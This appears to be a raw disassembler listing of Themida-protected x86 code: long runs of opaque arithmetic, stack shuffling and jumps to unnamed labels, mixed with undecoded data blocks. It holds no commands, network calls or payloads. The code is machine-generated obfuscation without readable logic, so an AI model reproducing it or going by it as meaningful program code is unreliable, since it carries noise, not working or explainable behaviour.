; ---------------------------------------------------------------------------
		dd 4C381h, 0C3830000h, 241C8704h, 2C7835Ch, 41F768h, 24048900h
		dd 0ED8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_63B16D:				; CODE XREF: Themida_:00647142j
		mov	[esp], edx
		push	ebp
		pop	edx
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp]
		jmp	loc_63E5FA
; ---------------------------------------------------------------------------


loc_63B187:				; CODE XREF: Themida_:00646813j
		sub	ebx, 46640637h
		sub	ebx, edi
		jmp	loc_6481D2
; ---------------------------------------------------------------------------
aSiuqsis	db 'SQ雘',0
		dd 1D1B900h, 0C9815D09h, 63F26D94h, 2215E955h, 0E95A0000h
		dd 2C40h, 243C8B58h, 0B3DFE9h, 37726800h, 8DE90000h, 5DFFFFB3h
		dd 565AD589h, 0BD7BE9h,	7AE95C00h, 2C000084h, 0E9F80088h
		dd 0C33Bh
; ---------------------------------------------------------------------------


loc_63B1E0:				; CODE XREF: Themida_:006380C4j
		mov	ebp, 5E1E1005h
		xor	eax, ebp
		pop	ebp
		jmp	loc_6488D7
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 34FFF020h, 8B91E924h, 0BF570000h, 640E2A20h,	7838C781h
		dd 0F781166Ch, 7A7AA25Ch, 835FF801h, 48704C0h, 24248B24h
		dd 3C73E9h, 246C0100h, 0BBAFE904h, 0C381FFFFh, 4, 4C381h
		dd 43E90000h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63B237:				; CODE XREF: Themida_:0063E5DEj
		pop	ebx
		xor	ebp, eax
		push	dword ptr [esp]
		jmp	loc_63D0D2
; ---------------------------------------------------------------------------


loc_63B242:				; CODE XREF: Themida_:006490BBj
		add	esp, 4
		jmp	loc_63CE3E
; ---------------------------------------------------------------------------


loc_63B24D:				; CODE XREF: Themida_:00644A33j
		sub	edx, edi
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_63C467
; ---------------------------------------------------------------------------
		dw 0DA89h
		dd 83241C8Bh, 0F28104C4h, 596030A4h, 0FFFFEA81h, 0E281FFFFh
		dd 45750DF2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_63AE55
; ---------------------------------------------------------------------------
		dd 0F621DE05h, 28790531h, 5AE97F06h
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63B29B:				; CODE XREF: Themida_:00643F9Fj
		and	esi, 5DA43A0Eh
		add	esi, 0EAFFCE04h
		jmp	loc_64216E
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFD0DEh
; ---------------------------------------------------------------------------


loc_63B2B4:				; CODE XREF: Themida_:006377C5j
		mov	edx, 613E110Ah
		sub	edi, 19626468h
		add	edi, 5DE05E8Eh
		add	edi, 29250FAFh
		sub	edi, edx
		sub	edi, 29250FAFh
		sub	edi, 5DE05E8Eh
		push	eax
		mov	eax, 19626468h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		sub	edi, 2B87D604h
		and	eax, edi
		jmp	loc_639D1E
; ---------------------------------------------------------------------------


loc_63B2F5:				; CODE XREF: Themida_:00637835j
		not	ebp
		dec	ebp
		add	ebp, 0AF8D3954h
		and	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_63F8D2
; ---------------------------------------------------------------------------
		dd 5606E9C1h, 3C7D3FBEh, 5EF10934h, 5053C981h, 0E9522E3Fh
		dd 619Dh, 453CF7B9h, 36BA5203h,	81410567h, 9A7D8AF2h, 5AD08954h
		dd 8959C801h, 26E958C3h, 0FF0000C6h, 0E9582434h, 73EBh
; ---------------------------------------------------------------------------


loc_63B348:				; CODE XREF: Themida_:00641D05j
		or	ecx, ecx
		jz	loc_649193
		push	esp
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_63D1D1
; ---------------------------------------------------------------------------


loc_63B362:				; CODE XREF: Themida_:006401D2j
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_6435FF
; ---------------------------------------------------------------------------
		db 1, 0D5h, 5Ah
		dd 31242C33h, 1CE9242Ch, 0F600004Bh, 64C480DCh,	0F2C0E9h
		dd 0E9D4F600h, 79ECh, 0FF2434FFh, 48B2434h, 4C48124h, 50000000h
		dd 0BF575854h, 9545C41h, 0FFFFEF81h, 0BA52FFFFh, 9545C46h
		dd 0C0B3E9h, 0B8E95800h
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63B3BB:				; CODE XREF: Themida_:0063EF72j
		add	edx, eax
		pop	eax
		pop	ebp
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	33DEh
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_63FE28
; ---------------------------------------------------------------------------
		db 81h
		dd 7278AFC3h, 81F30143h, 7278AFEBh, 0E95E43h, 8BFFFFC5h
		dd 0C481241Ch, 4, 8024E9h, 477F6800h, 34890000h, 0F75DE924h
		dd 3C330000h, 24248B24h, 5A2434FFh, 0C91AE9h, 4EC8100h
		dd 0E9000000h, 0FFFFC0F1h, 0C181D1F7h, 252D75D0h, 1C181h
		dd 0E9810000h, 6193E98Eh, 0C03FE9h, 0E9526600h,	0FFFFAED9h
; ---------------------------------------------------------------------------


loc_63B440:				; CODE XREF: Themida_:00649CE2j
		push	esi
		jmp	loc_642CA4
; ---------------------------------------------------------------------------
		dw 0C709h
		dd 62E78158h, 812B752Bh, 8EFCE2C7h, 5FFA89D7h, 0ED96E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B45E:				; CODE XREF: Themida_:00644E6Fj
		xchg	edi, [esp]
		jmp	loc_6493BB
; ---------------------------------------------------------------------------


loc_63B466:				; CODE XREF: Themida_:0063FA78j
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_63BFED
; ---------------------------------------------------------------------------


loc_63B46F:				; CODE XREF: Themida_:006474FEj
		mov	esp, [esp]
		push	7106h
		jmp	loc_63EE86
; ---------------------------------------------------------------------------
		dd 0EB285866h, 0E9240C8Bh, 0D9CAh
; ---------------------------------------------------------------------------


loc_63B488:				; CODE XREF: Themida_:00637B71j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_63651B
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0EC83D830h, 241C8904h, 2CE1B050h, 7E6B68EEh,	1C890000h
		dd 66A6B724h, 66168B68h, 0B5240C89h, 86EF8036h,	0C780EF28h
		dd 51596686h, 0C4B9E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B4EA:				; CODE XREF: Themida_:00639C10j
		pop	ecx
		add	ecx, edi
		jmp	loc_63B552
; ---------------------------------------------------------------------------
aISZ		db 'z',0
		dd 5DEE3100h, 348BF301h, 4C48124h, 0E9000000h, 3C29h, 2434895Ch
		dd 2BEh, 0FCB85000h, 292FAC58h,	0F20158C2h, 871AE9h, 4C48300h
		dd 8CB9514Eh, 317E5601h, 0EC8159CEh, 4,	0BB241C89h, 1B021695h
		dd 2B4BEB81h, 81431934h, 0B5059FF3h, 56F9E9D4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63B552:				; CODE XREF: Themida_:0063B4EDj
		pop	edi
		jmp	loc_649118
; ---------------------------------------------------------------------------
		dd 0E9E28952h, 1D9Eh, 74CFB850h, 0E8C17C28h, 2CD10507h
		dd 0D0FE0h, 254E8616h, 63171D44h, 161CFC2Dh, 8BC18942h
		dd 0C4832404h, 59CA0104h, 0E9241487h, 0EDE6h, 0C3FEE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B596:				; CODE XREF: Themida_:0063BD33j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edx
		pop	ebp
		mov	edx, [esp]
		jmp	loc_63FB98
; ---------------------------------------------------------------------------
		dd 815BDD29h, 0FFFFFFC5h, 83E5D1FFh, 73E904ECh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B5C7:				; CODE XREF: Themida_:00642BD5j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 671D18B0h
		xor	[esp+4], ecx
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_649C00
; ---------------------------------------------------------------------------


loc_63B5F2:				; CODE XREF: Themida_:0063EEEBj
		sub	ebx, edi
		jmp	loc_636548
; ---------------------------------------------------------------------------
		db 31h,	0F5h, 0FFh
		dd 815E2434h, 4C4h, 3BF82D00h, 90E90279h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B60F:				; CODE XREF: Themida_:0064696Aj
		shr	dl, 6
		push	cx
		push	eax
		mov	al, 41h
		jmp	loc_63D1BD
; ---------------------------------------------------------------------------
		dd 5368EA80h, 0F9E9A5B7h, 0FF0000A8h, 1C8B2434h, 0F998E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B632:				; CODE XREF: Themida_:0063D347j
		pop	esi
		add	edi, 4
		push	edi
		jmp	loc_640D7A
; ---------------------------------------------------------------------------
		db 1
		dd 34875DEEh, 0B2525C24h, 19F28064h, 0E903EAC0h, 618Ah
		dd 842B3668h, 242C8B24h, 8104C483h, 4ECh, 24348900h, 7472C4BEh
		dd 0EE814E6Ch, 77E01657h, 6EF4EE81h, 87563169h,	0D2F72414h
		dd 6051E9h
		db 0
; ---------------------------------------------------------------------------


loc_63B685:				; CODE XREF: Themida_:00636EF6j
		xor	ecx, 20F47831h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		and	ecx, 8D51035h
		jmp	loc_63F1B7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		push	esi
		mov	esi, 76CD26A1h
		neg	esi
		inc	esi
		xor	esi, 6EFE30BEh
		jmp	loc_649243
; ---------------------------------------------------------------------------


loc_63B6B8:				; CODE XREF: Themida_:00641C41j
		mov	esi, [esp]
		jmp	loc_64636A
; ---------------------------------------------------------------------------
		dd 598BB850h, 0E235748Ah, 31010746h, 8EE958C6h,	5A000085h
		dd 0FFDC6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63B6D9:				; CODE XREF: Themida_:00639C31j
		or	edx, ecx
		pop	ecx
		jmp	loc_636053
; ---------------------------------------------------------------------------
		db 5Dh,	57h, 0BFh
		dd 4, 5DFFC281h, 8FE90EF2h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63B6F3:				; CODE XREF: Themida_:006431DEj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		pop	dword ptr [edi+24h]


loc_63B709:				; CODE XREF: Themida_:00639D21j
		push	31BAh
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_647BD1
; ---------------------------------------------------------------------------


loc_63B71C:				; CODE XREF: Themida_:006462F9j
		mov	esi, esp
		add	esi, 4
		jmp	loc_642A31
; ---------------------------------------------------------------------------
		db 66h,	0B8h, 0E7h
		dd 4429666Bh, 58660424h, 24148B66h, 0AC6FE9h, 0E9E28900h
		dd 0FFFFD582h
; ---------------------------------------------------------------------------


loc_63B744:				; CODE XREF: Themida_:006404FFj
		push	edi
		mov	edi, 0B8F5F84h
		inc	edi
		xor	edi, 20307071h
		sub	ebp, edi
		pop	edi
		add	ebp, 0FFFFFFFFh
		push	ebx
		mov	ebx, 1D363CC6h
		or	ebx, 251758Ch
		jmp	loc_639C92
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 0A5EB8104h, 684F6406h, 0BC3h, 0B9240C89h
		dd 64FA6B91h, 8101E983h, 0A0712C1h, 7288E95Ch, 0DBF70000h
		dd 9A97F381h, 0B6E97FA0h, 89000003h, 4B951E0h, 1000000h
		dd 0E88359C8h, 74FF5004h, 0FEE90424h, 5EFFFFFBh, 0E981C101h
		dd 6B3D33A1h, 0FFB140E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63B7C5:				; CODE XREF: Themida_:0064201Bj
		neg	ebp
		xor	ebp, 0DDA106C7h
		mov	eax, ebp
		pop	ebp
		sub	eax, ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_6374AF
; ---------------------------------------------------------------------------
aNacSa6		db '6',0
		dd 0FFEA8000h, 80E0C280h, 4E9E3C2h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63B7FF:				; CODE XREF: Themida_:0064532Ej
		push	eax
		mov	ah, dl
		jmp	loc_63D289
; ---------------------------------------------------------------------------


loc_63B807:				; CODE XREF: Themida_:00637F1Fj
		push	dword ptr [esp]
		jmp	loc_6480BE
; ---------------------------------------------------------------------------
		db 59h
		dd 575EF301h, 0C781E789h, 4, 0E904EF83h, 0B9B6h, 5C241C87h
		dd 0B295E9h, 3E9AC00h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_63B833:				; CODE XREF: Themida_:0063BD0Ej
		push	edx
		mov	edx, esp
		jmp	loc_6403CC
; ---------------------------------------------------------------------------
		db 0BBh
		dd 21E25932h, 17A2EB81h, 0DBF710C8h, 67F0F381h,	0EBC15202h
		dd 3DF38105h, 0E957CA32h, 0B3F8h, 2C2C381h, 0FB0169CFh
		dd 2C2EB81h, 7DE969CFh,	0BA00009Fh, 63D911F2h, 0C78DE9h
		dd 7635B800h, 322D05A2h, 353E1B36h, 38C533E5h, 0D08E8C1h
		dd 475E202Fh, 2D07E0C1h, 0DB35C0B2h, 48BC189h, 4C48124h
		dd 0BB000000h, 53C679BEh, 76CF381h, 0CB2977BDh,	43ED8159h
		dd 1496626h, 43C581DDh,	5B496626h, 6477BB53h, 49E941ADh
		dd 8B000033h, 4082424h,	4CE99C24h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63B8D7:				; CODE XREF: Themida_:006443D8j
		pop	esp
		mov	[esp], edx
		push	ecx
		jmp	loc_63E1EC
; ---------------------------------------------------------------------------


loc_63B8E1:				; CODE XREF: Themida_:00646D3Ej
		xor	esi, eax
		jmp	loc_63A5B6
; ---------------------------------------------------------------------------
		dd 7EE9F301h, 0B5FFFFF7h, 54E950CAh, 0BD000077h, 733721CFh
		dd 1AF1E9h, 3CBB5300h, 0F7573D41h, 0D2EB81DBh, 516B3F74h
		dd 0CF89D989h, 258E959h, 5E540000h, 4EC81h, 0C890000h
		dd 28B4B924h, 0BB53225Ah, 374F3227h, 35CB814Bh,	0D15A992Eh
		dd 0C1E3D1EBh, 0EB8103E3h, 0DC9FC900h, 0FFB0EBE9h, 5ABB53FFh
		dd 81313928h, 9F7C73EFh, 0BB60E95Ch, 8B66FFFFh,	54572404h
		dd 5F2434FFh, 647DE9h, 24348B00h, 104C483h, 2434FFDDh
		dd 81241C8Bh, 4C4h, 4C48300h, 0CF86E9h,	0CE686600h, 0C896645h
		dd 80E0B124h, 0B72CD4E9h, 0B704C800h, 240C8B66h, 81E68956h
		dd 4C6h, 2C68300h, 5C243487h, 318E9h, 4EC8300h,	8B241489h
		dd 2E92434h, 59000040h,	0FFB72CE9h, 0EC815CFFh,	4, 0FFDFC9E9h
		dd 430705FFh, 0C8012341h, 4143072Dh, 0A336E923h, 3C330000h
		dd 24248B24h, 24048B66h, 5FCA68h, 240C8900h, 7C1B68h, 48F5400h
		dd 24048124h, 4, 0E6895659h, 4C681h, 0BB530000h, 77B5721Bh
		dd 0E903EBC1h, 0FFFFE8EAh
; ---------------------------------------------------------------------------


loc_63BA1C:				; CODE XREF: Themida_:0063E81Dj
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	5189h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_646BEB
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0C895C24h, 0CECE924h, 1B80000h, 0C11F1A27h, 0A8E905E0h
		dd 5C0000E4h, 0BE3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_63BA5D:				; CODE XREF: Themida_:0063BA8Dj
		push	ecx
		mov	ecx, 4
		jmp	loc_63E425
; ---------------------------------------------------------------------------
		dd offset dword_5BFA7C+2ACh
		dd 43E8E9F5h, 0E9580000h, 78ECh
; ---------------------------------------------------------------------------


loc_63BA78:				; CODE XREF: Themida_:00641F43j
		sub	ebx, 4
		jmp	loc_63821D
; ---------------------------------------------------------------------------


loc_63BA83:				; CODE XREF: Themida_:0063D6DDj
		push	4BCh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_63BA5D
; ---------------------------------------------------------------------------


loc_63BA92:				; CODE XREF: Themida_:0063FEBEj
		push	esi
		mov	esi, 76A1576Ah
		mov	ebx, esi
		jmp	loc_644962
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0DE6E900h, 34FF0000h, 0C2685D24h, 89000017h, 0E589242Ch
		dd 0FFF45FE9h, 48B66FFh, 4EC8124h, 89000000h, 0EC81241Ch
		dd 4, 71F268h, 2D53E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63BADA:				; CODE XREF: Themida_:0063DE39j
		mov	[esp], ebx
		mov	ebx, 710D3827h
		xor	edx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_63C0F1
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	405h, 24048700h, 5DE8295Ch, 3BD8B850h
		dd 75E9554Dh, 5C000035h, 0FFCFF0E9h, 8BC601FFh,	0C4832404h
		dd 0F6814604h, 4B264152h, 535EF201h, 0FFD58FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63BB35:				; CODE XREF: Themida_:0063715Dj
		mov	ebx, 11B42ECh
		neg	ebx
		jmp	loc_635D30
; ---------------------------------------------------------------------------
		db 2Dh,	79h, 28h
		dd 0BA527F06h, 31F621DEh, 5D5AD029h, 0FFCEBDE9h, 5BD901FFh
		dd 8B240C87h, 0B9512424h, 6E9F5673h, 1971E9h
		db 0
; ---------------------------------------------------------------------------


loc_63BB69:				; CODE XREF: Themida_:0063FCF5j
		push	bx
		mov	bl, 0E6h
		jmp	loc_649D96
; ---------------------------------------------------------------------------
		dw 0F75Bh
		dd 24C781D7h, 0D11EC06Ah, 36368EFh, 34890000h, 8934E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63BB8A:				; CODE XREF: Themida_:006384A5j
		xor	eax, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_648129
; ---------------------------------------------------------------------------
		dw 1489h
		dd 815A5424h, 4C2h, 4EA8100h, 0E9000000h, 0A652h, 8BEB095Fh
		dd 0C481242Ch, 4, 8106E3C1h, 0B55304F3h, 2E957E5h
		db 67h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63BBC7:				; CODE XREF: Themida_:0063578Dj
		and	eax, ecx
		mov	ecx, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		jmp	loc_637ED9
; ---------------------------------------------------------------------------


loc_63BBD9:				; CODE XREF: Themida_:0063F72Fj
		mov	esp, [esp]
		shl	eax, cl
		push	esi
		mov	esi, 1
		push	edi
		mov	edi, esp
		jmp	loc_6418F6
; ---------------------------------------------------------------------------
		dd 5D2434FFh, 0A64DE9h,	2BF00h,	0AE90000h, 59FFFFC0h, 1EC48105h
		dd 60BA5251h, 2926EE70h, 0C1295AD1h, 7060C181h,	48B26EEh
		dd 4C48124h, 0E9000000h, 0E8D6h, 2434875Ch, 0BF8E9h
		db 0
; ---------------------------------------------------------------------------


loc_63BC2D:				; CODE XREF: Themida_:006428E1j
		pop	eax
		jmp	loc_6402A3
; ---------------------------------------------------------------------------


loc_63BC33:				; CODE XREF: Themida_:00637C35j
		mov	edi, ecx
		mov	ebx, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		jmp	loc_6417A8
; ---------------------------------------------------------------------------
		dw 3489h
		dd 348B5424h, 4C48324h,	4C681h,	0C6830000h, 24348704h
		dd 0C104E95Ch, 3489FFFFh, 2474FF24h, 48F5E04h, 24248B24h
		dd 92E9E9F7h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63BC73:				; CODE XREF: Themida_:006482C8j
		pop	ebx
		push	edx
		push	edi
		push	105C3FA2h
		pop	edi
		jmp	loc_63EFDB
; ---------------------------------------------------------------------------
aSck		db '[',0
		dw 3100h
		dd 2C33242Ch, 0C895C24h, 9C49E924h, 4330000h, 3C895C24h
		dd 4EBB5324h, 0BF63B82Eh, 9C47D1B6h, 1C8BDF01h,	4C48324h
		dd 6E60E9h, 685B5F00h, 0EFFh, 68242C89h, 5B6134BBh, 7E8BE9h
		dd 52C80000h, 0E6C05CB6h, 23C1E903h, 0C2860000h, 6846E280h
		dd 6605h, 0E9240C89h, 57BCh, 0E95BDA01h, 7B41h
; ---------------------------------------------------------------------------


loc_63BCF0:				; CODE XREF: Themida_:00635874j
		pop	edi
		jmp	loc_649EC6
; ---------------------------------------------------------------------------


loc_63BCF6:				; CODE XREF: Themida_:00648FC2j
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_63B833
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFB948E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63BD19:				; CODE XREF: Themida_:00644048j
		pop	esi
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_63FCC6
; ---------------------------------------------------------------------------


loc_63BD28:				; CODE XREF: Themida_:006491B6j
		add	edi, ebp
		pop	ebp
		xor	edi, 3D0AAA13h
		xor	edx, edi
		jmp	loc_63B596
; ---------------------------------------------------------------------------
		dd 0E9240C8Bh, 2D6Ch, 8107E2C1h, 7FFFFCEAh, 5AD60102h
		dd 0FFD6E9E9h, 286BB4FFh, 5866E3h, 4EC83C3h, 50241489h
		dd 0FFD091E9h, 1C77FFFFh, 6659669Dh, 9C2414D3h,	0A167E9h
		dd 65296800h, 4890000h,	88505324h, 885251CCh, 5AD188E2h
		dd 34FFCF88h, 0E647E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63BD92:				; CODE XREF: Themida_:00648DA4j
		add	ebx, 60D13C13h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 33F0FFBh
		push	ebx
		mov	ebx, 6A4F656Ch
		shl	ebx, 1
		inc	ebx
		and	ebx, 27452171h
		push	ebp
		mov	ebp, 67565A24h
		push	esi
		mov	esi, 0A62543h
		add	ebp, esi
		pop	esi
		jmp	loc_638A30
; ---------------------------------------------------------------------------


loc_63BDC6:				; CODE XREF: Themida_:00638263j
		push	edi
		push	1A75h
		jmp	loc_642ADA
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0E9240487h, 0AEB4h, 4EC8158h, 89000000h, 0CE882414h
		dd 4EC81h, 0C890000h, 88F58824h, 8B5A59EFh, 0C483240Ch
		dd 37176804h, 1C890000h, 2C0EB724h, 4F80036h, 0F8285B36h
		dd 0E95B0E2Ch, 0FFFFB470h
; ---------------------------------------------------------------------------


loc_63BE18:				; CODE XREF: Themida_:006453BDj
		push	4FC85A35h
		jmp	loc_639E25
; ---------------------------------------------------------------------------


loc_63BE22:				; CODE XREF: Themida_:0063A56Ej
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	esp, 4
		jmp	loc_63A157
; ---------------------------------------------------------------------------
		dw 0E788h
		dd 8B5BFE88h, 0C4832404h, 0A5B25204h, 62BF68h, 6FFE900h
		dd 58B90000h, 0C170B501h, 814903E1h, 0A83C42E9h, 0C1E9815Ch
		dd 81635226h, 9F8620C1h, 0E9CB0150h, 0E7h, 0E904C483h
		dd 2862h, 0F30007B6h, 5BD8005Ah, 832CD828h, 411B753h, 0B1B6527Dh
		dd 0E9DAC680h, 0FFFFECD9h
; ---------------------------------------------------------------------------


loc_63BE94:				; CODE XREF: Themida_:0063D113j
		add	[esp+8], ecx
		sub	dword ptr [esp+8], 4F936F8Ah
		pop	ecx
		add	dword ptr [esp+4], 480611F7h
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 480611F7h
		sub	dword ptr [esp+4], 222F5778h
		add	dword ptr [esp+4], 1A4E3278h
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_6409EC
; ---------------------------------------------------------------------------


loc_63BED0:				; CODE XREF: Themida_:00644939j
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 51FD4B77h
		or	ebp, 16BC4748h
		xor	ebp, 57FD4F7Bh
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	2286h
		mov	[esp], edx
		mov	edx, 0D3C5523h
		shl	edx, 7
		neg	edx
		neg	edx
		sub	edx, 1
		and	edx, 218F17D9h
		xor	edx, 0A115Dh
		sub	ecx, 12B3793Bh
		add	ecx, edx
		add	ecx, 12B3793Bh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_6447DB
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 81h
		dd 9926DEEFh, 4FD7F709h, 5BF868h, 24048900h, 0FFC737E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_63BF4D:				; CODE XREF: Themida_:0063C4A4j
		mov	edi, 4
		jmp	loc_645EC3
; ---------------------------------------------------------------------------
		db 59h
		dd 6956EF81h, 0DF017774h, 6956C781h, 815B7774h,	0D02C0FC7h
		dd 81EF0153h, 0D02C0FEFh, 0FCEF8153h, 5D365C73h, 30A7BD55h
		dd 0EF296190h, 81D7015Dh, 9030A7C7h, 0BF575061h, 0F9070ADh
		dd 0B362E9h
		db 0
; ---------------------------------------------------------------------------


loc_63BF99:				; CODE XREF: Themida_:00649859j
		dec	ecx
		xchg	eax, ecx
		jmp	loc_647F76
; ---------------------------------------------------------------------------


loc_63BFA0:				; CODE XREF: Themida_:006376F1j
		mov	[esp], esi
		jmp	loc_63A558
; ---------------------------------------------------------------------------
		dd 96041ABEh, 0E142E938h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63BFB2:				; CODE XREF: Themida_:0063ABB5j
		or	ebx, 453E7593h
		and	ebx, 70F4036Dh
		or	ebx, 7654236Fh
		add	ebx, 0B6AC3559h
		mov	ebp, ebx
		pop	ebx
		push	ebp
		dec	dword ptr [esp]
		pop	ebp
		sub	ebp, 31F94502h
		jmp	loc_63652D
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0B8240489h, 795E4727h, 1970E9h
		db 0
; ---------------------------------------------------------------------------


loc_63BFED:				; CODE XREF: Themida_:0063B46Aj
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_641D04
; ---------------------------------------------------------------------------
		db 80h
		dd 0DD28B4F3h, 3DE9505Bh
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_63C00F:				; CODE XREF: Themida_:00646EA9j
		push	ebx
		mov	ebx, 620C031Ah
		and	ebx, 33766BDEh
		jmp	loc_643DDF
; ---------------------------------------------------------------------------


loc_63C020:				; CODE XREF: Themida_:00643AABj
		add	edi, 358217EEh
		add	edi, 12CA2134h
		add	edi, eax
		push	ecx
		mov	ecx, 5F6C5D26h
		sub	ecx, 4CA23BF2h
		sub	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 358217EEh
		jmp	loc_63CA55
; ---------------------------------------------------------------------------
		dd 88E9CCFEh
		db 0ABh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_63C04F:				; CODE XREF: Themida_:00641378j
		push	ebx
		mov	ebx, 380767C0h
		xor	ebx, 380767C4h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	4408h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	2C911525h
		pop	eax
		sub	eax, 7F0D08D4h
		jmp	loc_63FCBC
; ---------------------------------------------------------------------------
		db 0BFh
		dd 32042017h, 0C781DFF7h, 10CD2C4Dh, 5231C781h,	0E7C13710h
		dd 0A731E907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_63C0AE:				; CODE XREF: Themida_:0063E069j
		pop	edi
		jmp	loc_63F2CA
; ---------------------------------------------------------------------------
		dd 67E930FFh, 0BF0000B4h, 32AC18F7h, 3BAEF781h,	0FD295F8Eh
		dd 24148B5Fh, 8104C483h, 2C5h, 242C8700h, 0D224248Bh, 0E99C2404h
		dd 0FFFF94C1h, 88240489h, 58C188F8h, 6FB5E9h
		db 0
; ---------------------------------------------------------------------------


loc_63C0F1:				; CODE XREF: Themida_:0063BAF3j
		sub	esp, 4
		jmp	loc_647C6B
; ---------------------------------------------------------------------------


loc_63C0FC:				; CODE XREF: Themida_:0063814Aj
		push	esi
		push	edx
		mov	edx, 7ED454C3h
		mov	esi, edx
		pop	edx
		xor	esi, 53D97E5Eh
		shr	esi, 5
		push	0
		sub	[esp], esi
